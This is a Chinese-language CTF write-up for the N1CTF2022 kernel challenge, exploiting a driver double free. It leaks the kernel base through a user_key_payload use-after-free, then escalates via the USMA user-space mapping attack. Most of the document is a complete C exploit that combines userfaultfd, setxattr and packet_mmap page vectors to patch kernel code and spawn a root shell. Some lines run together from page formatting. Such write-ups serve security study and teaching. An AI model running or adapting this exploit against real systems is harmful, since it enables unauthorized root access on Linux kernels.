【USMA】N1CTF2022

编程入门 行业动态 更新时间:2024-10-26 08:31:27

【USMA】N1CTF2022

【USMA】N1CTF2022

前言

本题主要利用 USMA 解题,当然还有其他做法,暂时不表

程序分析

启动脚本就不看了,该开的保护都开了。看下文件系统初始化脚本:

#!/bin/shmkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
mount -t tmpfs none /tmp
mdev -s
echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
echo 1 > /proc/sys/vm/unprivileged_userfaultfdinsmod /praymoon.ko
chmod 666 /dev/seven
chmod 740 /flag
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
chmod 400 /proc/kallsymspoweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/shumount /proc
umount /tmppoweroff -d 0  -f

可以看到,这里设置了  echo 1 > /proc/sys/vm/unprivileged_userfaultfd,这是因为该题目的内核版本为 5.18.10,而 userfaultfd 在 5.11 就限制了普通用户的使用,这也是给了我们一个做题的方向。

题目还给了配置文件:

CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLAB_FREELIST_HARDENED=y
CONFIG_SHUFFLE_PAGE_ALLOCATOR=yCONFIG_STATIC_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH=""CONFIG_MEMCG=y
CONFIG_MEMCG_SWAP=y
CONFIG_MEMCG_KMEM=yCONFIG_DEBUG_LIST=yCONFIG_HARDENED_USERCOPY=y

而驱动程序很简单,跟 d3kheap 差不多,给了一次 double free 的机会(但是由于开启了 SLAB_FREELIST_HARDENED,所以不能直接 double free),只是这里的大小是 0x200,更难利用了:

漏洞利用

首先我们得先去泄漏内核的基地址,常用的泄漏信息的结构体有 ldt_struct、msg_msg、user_key_payload,这里 ldt_struct 大小不满足,而非常可惜的是 msg_msg 是采用 GFP_KERNEL_ACCOUNT,而题目采用的是 GFP_KERNEL,并且开启了 MEMCG,所以这里堆块就是隔离的,所以 msg_msg 也就无法直接利用了。最后我们就只剩下 user_key_payload,幸运的是其分配采用的就是 GFP_KERNEL。

泄漏内核基地址

首先,构造 UAF:

1、add 分配一个堆块

2、dele 释放该堆块

3、分配 user_key_payload 占据该堆块

4、dele 再次释放该堆块

然后我们可以利用 setxattr 去修改 user_key_payload 的 datalen 字段。然后越界读一些数据,该数据中可能存在一个可用地址,笔者将其作为一个字典进行碰撞。经过测试,有较大的概率可以泄漏内核地址。

经过测试:

freelist pointer 存在堆块偏移为 33*8 的位置

并且使用 kfree 释放堆块,不会清空堆块内容

 提权

关于提权,一般而言有两者朴素的想法:

1、寻找具有函数指针的结构体,通过劫持函数指针去劫持程序执行流

2、利用任意读写原语去修改 cred

这里我们想要找到 0x200 大小的带有函数指针的结构体可不容易,当然可以大家会想到 pipe_buffer,可以 pipe_buffer 也带有 GFP_KERNEL_ACCOUNT。

这里利用 usma 即用户态映射攻击,贴了360的原文,大家可以看下:USMA:用户态映射攻击

exp 如下:

注:脚本不是很稳定,即 setxattr 可能拿不到 UAF 堆块,主要是脚本写的比较烂,但是不想改了

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void line(char *msg)
{printf("\033[34m\033[1m\n[*] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}void get_root_shell(void)
{if(getuid()) {puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");sleep(5);exit(EXIT_FAILURE);}puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");system("/bin/sh");exit(EXIT_SUCCESS);
}void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}void register_userfaultfd(void* moniter_addr, void* handler)
{int uffd;pthread_t thr;struct uffdio_api uffdio_api;struct uffdio_register uffdio_register;uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);if (uffd == -1) err_exit("Failed to exec the syscall for __NR_userfaultfd");uffdio_api.api = UFFD_API;uffdio_api.features = 0;if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) err_exit("Failed to exec ioctl for UFFDIO_API");uffdio_register.range.start = (unsigned long long)moniter_addr;uffdio_register.range.len = 0x1000;uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) err_exit("Failed to exec ioctl for UFDDIO_REGISTER");if (pthread_create(&thr, NULL, handler, (void*)uffd)) err_exit("Failed to exec pthread_create for userfaultfd");
}int key_alloc(char *description, char *payload, size_t plen)
{return syscall(__NR_add_key, "user", description, payload, plen,KEY_SPEC_PROCESS_KEYRING);
}int key_read(int keyid, char *buffer, size_t buflen)
{return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}int key_revoke(int keyid)
{return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}char uffd_copy_src[0x1000];
void* handler_30(void* args)
{int uffd = (int)args;struct uffd_msg msg;struct uffdio_copy uffdio_copy;for (;;){struct pollfd pollfd;pollfd.fd = uffd;pollfd.events = POLLIN;if (poll(&pollfd, 1, -1) == -1) err_exit("Failed to exec poll for leak_handler");int res = read(uffd, &msg, sizeof(msg));if (res == 0) err_exit("EOF on userfaultfd for leak_handler");if (res == -1) err_exit("ERROR on userfaultfd for leak_handler");if (msg.event != UFFD_EVENT_PAGEFAULT) err_exit("INCORRET EVENT in leak_handler");info("==> userfaultfd to sleep(30) <==");sleep(30);uffdio_copy.src = uffd_copy_src;uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(0x1000 - 1);uffdio_copy.len = 0x1000;uffdio_copy.mode = 0;uffdio_copy.copy = 0;if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) err_exit("Failed to exec ioctl for UFFDIO_COPY in leak_handler");}return NULL;
}void* edit_func(void* args)
{setxattr("/exp", "hacker", args, 0x200, 0);return NULL;
}int fd;
int key;
void add() { ioctl(fd, 0x5555, NULL); }
void dele() { ioctl(fd, 0x6666, NULL); }size_t check(size_t kernel_addr)
{size_t kernel_addrs[] = {0xffffffff829da760, 0xffffffff81780ae0, 0xffffffff81780ad0, 0xffffffff8143e280, 0xffffffff829b9320};size_t kernel_offset = -1;switch ((kernel_addr&0xfff)){case 0x760:kernel_offset = kernel_addr - kernel_addrs[0];break;case 0xae0:kernel_offset = kernel_addr - kernel_addrs[1];break;case 0xad0:kernel_offset = kernel_addr - kernel_addrs[2];break;case 0x280:kernel_offset = kernel_addr - kernel_addrs[3];break;case 0x320:kernel_offset = kernel_addr - kernel_addrs[4];break;default:kernel_offset = -1;break;}return kernel_offset;
}#ifndef ETH_P_ALL
#define ETH_P_ALL 0x0003
#endifvoid init_namespace(void) {int fd;char buff[0x100];uid_t uid = getuid();gid_t gid = getgid();if (unshare(CLONE_NEWUSER | CLONE_NEWNS)) {puts("[X] unshare(CLONE_NEWUSER | CLONE_NEWNS)");exit(-1);}if (unshare(CLONE_NEWNET)) {puts("[X] unshare(CLONE_NEWNET)");exit(-1);}fd = open("/proc/self/setgroups", O_WRONLY);snprintf(buff, sizeof(buff), "deny");write(fd, buff, strlen(buff));close(fd);fd = open("/proc/self/uid_map", O_WRONLY);snprintf(buff, sizeof(buff), "0 %d 1", uid);write(fd, buff, strlen(buff));close(fd);fd = open("/proc/self/gid_map", O_WRONLY);snprintf(buff, sizeof(buff), "0 %d 1", gid);write(fd, buff, strlen(buff));close(fd);
}void packet_socket_rx_ring_init(int s, unsigned int block_size,unsigned int frame_size, unsigned int block_nr,unsigned int sizeof_priv, unsigned int timeout) {int v = TPACKET_V3;int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));if (rv < 0) {puts("[X] setsockopt(PACKET_VERSION)");exit(-1);}struct tpacket_req3 req;memset(&req, 0, sizeof(req));req.tp_block_size = block_size;req.tp_frame_size = frame_size;req.tp_block_nr = block_nr;req.tp_frame_nr = (block_size * block_nr) / frame_size;req.tp_retire_blk_tov = timeout;req.tp_sizeof_priv = sizeof_priv;req.tp_feature_req_word = 0;rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));if (rv < 0) {puts("setsockopt(PACKET_RX_RING)");exit(-1);}
}int packet_socket_setup(unsigned int block_size, unsigned int frame_size,unsigned int block_nr, unsigned int sizeof_priv, int timeout) {int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));if (s < 0) {puts("socket(AF_PACKET)");exit(-1);}packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,sizeof_priv, timeout);struct sockaddr_ll sa;memset(&sa, 0, sizeof(sa));sa.sll_family = PF_PACKET;sa.sll_protocol = htons(ETH_P_ALL);sa.sll_ifindex = if_nametoindex("lo");sa.sll_hatype = 0;sa.sll_pkttype = 0;sa.sll_halen = 0;int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));if (rv < 0) {puts("bind(AF_PACKET)");exit(-1);}return s;
}int alloc_pgv(int count, int size) {return packet_socket_setup(size, 2048, count, 0, 100);
}int main(int argc, char** argv, char** env)
{bind_core(0);int pipe_fd[2];pipe(pipe_fd);pid_t pid = fork();if (!pid){init_namespace();size_t kernel_offset;char buf[0x2000];char des[0x100];size_t attr[0x200/8];void* uffd_buf;int packet_fd;size_t res;pthread_t edit_thr1, edit_thr2;fd = open("/dev/seven", O_RDWR);if (fd < 0) err_exit("open dev file");uffd_buf = mmap(NULL, 0x2000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);register_userfaultfd((char*)uffd_buf+0x1000, handler_30);attr[0] = attr[1] = 0;attr[2] = 0x2000;memset(buf, 'B', 0x200);add();dele();key = key_alloc("hacker", buf, 0x100);if (key < 0) err_exit("key_alloc");dele();setxattr("/exp", "hacker", attr, 0x200, 0);res = key_read(key, buf, 0x2000);hexx("key_read bytes", res);kernel_offset = -1;for (int i = 0; i < 0x2000/8; i++){size_t tmp = *(size_t*)(buf + i*8);if ((tmp > 0xffffffff00000000) && ((kernel_offset=check(tmp)) != -1) && ((kernel_offset&0xfff) == 0)) break;else kernel_offset = -1;}if (kernel_offset == -1) err_exit("Leak kernel offset");hexx("kernel_offset", kernel_offset);line("USMA ATTACK");packet_fd = alloc_pgv(33, 0x1000);key_revoke(key);for (int i = 0; i < 0x150 / 8; i++)*(size_t*)((char*)uffd_buf + 0x1000 - 0x150 + i*8) = 0xFFFFFFFF81086000 + kernel_offset;hexx("vm_insert_page addr", 0xFFFFFFFF81086000 + kernel_offset);pthread_create(&edit_thr1, NULL, edit_func, (char*)uffd_buf+0x1000-0x150);sleep(1);pthread_create(&edit_thr2, NULL, edit_func, (char*)uffd_buf+0x1000-0x150);sleep(1);char* page = (char*)mmap(NULL, 0x1000*33, PROT_READ|PROT_WRITE, MAP_SHARED, packet_fd, 0);page[0xFFFFFFFF81086FD8 - 0xFFFFFFFF81086000] = 0xeb;info("CHILD END!");write(pipe_fd[1], "A", 1);pause();} else if (pid < 0) {err_exit("fork");} else {char buf[1];read(pipe_fd[0], buf, 1);setresuid(0, 0, 0);hexx("UID", getuid());get_root_shell();info("PRAENT END!");}return 0;
}

效果如下:

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【USMA】N1CTF2022

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